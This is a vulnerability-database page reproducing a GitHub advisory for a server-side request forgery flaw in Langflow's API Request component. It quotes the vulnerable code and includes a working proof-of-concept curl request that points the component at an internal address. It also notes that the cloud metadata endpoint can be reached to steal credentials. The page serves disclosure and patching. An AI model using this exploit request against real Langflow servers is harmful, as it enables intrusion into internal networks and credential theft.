Free AI Safety Workshop — in collaboration with explainx.aiSave your seat
AgentbeamBeta
AI agent vulnerability · Langflow

CVE-2025-68477: Langflow vulnerable to Server-Side Request Forgery

highCVSS 3.1 7.7GHSA-5993-7p27-66g5

Vulnerability Overview Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client.

Published Dec 19, 2025

Affected packages

langflow

Ecosystem
PyPI
Affected
< 1.7.1
Fixed in
1.7.1
Check
pip show langflow

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
    async def simplified_run_flow(
        *,
        background_tasks: BackgroundTasks,
        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
        input_request: SimplifiedAPIRequest | None = None,
        stream: bool = False,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
        context: dict | None = None,
        http_request: Request,
    ):

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    @router.post(
        "/run/advanced/{flow_id_or_name}",
        response_model=RunResponse,
        response_model_exclude_none=True,
    )
    async def experimental_run_flow(
        *,
        session: DbSession,
        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
        inputs: list[InputValueRequest] | None = None,
        outputs: list[str] | None = None,
        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
        stream: Annotated[bool, Body(embed=True)] = False,
        session_id: Annotated[None | str, Body(embed=True)] = None,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
    ) -> RunResponse:
  1. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

        def _normalize_url(self, url: str) -> str:
            """Normalize URL by adding https:// if no protocol is specified."""
            if not url or not isinstance(url, str):
                msg = "URL cannot be empty"
                raise ValueError(msg)
    
            url = url.strip()
            if url.startswith(("http://", "https://")):
                return url
            return f"https://{url}"

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

            url = self._normalize_url(url)
    
            # Validate URL
            if not validators.url(url):
                msg = f"Invalid URL provided: {url}"
                raise ValueError(msg)
  1. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

            try:
                # Prepare request parameters
                request_params = {
                    "method": method,
                    "url": url,
                    "headers": headers,
                    "json": processed_body,
                    "timeout": timeout,
                    "follow_redirects": follow_redirects,
                }
                response = await client.request(**request_params)

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

                # Base metadata
                metadata = {
                    "source": url,
                    "status_code": response.status_code,
                    "response_headers": response_headers,
                }

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

                # Handle response content
                if is_binary:
                    result = response.content
                else:
                    try:
                        result = response.json()
                    except json.JSONDecodeError:
                        self.log("Failed to decode JSON response")
                        result = response.text.encode("utf-8")
    
                metadata["result"] = result
    
                if include_httpx_metadata:
                    metadata.update({"headers": headers})
    
                return Data(data=metadata)

PoC

---

PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting
  • Exploit
    curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
      -H 'Content-Type: application/json' \
      -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
      --data-raw '{
        "inputs":[{"components":[],"input_value":""}],
        "outputs":["Chat Output"],
        "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
        "stream":false
      }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'

Impact

---

  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

Credited to im-soohyun.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Langflow vulnerabilities

All Langflow entries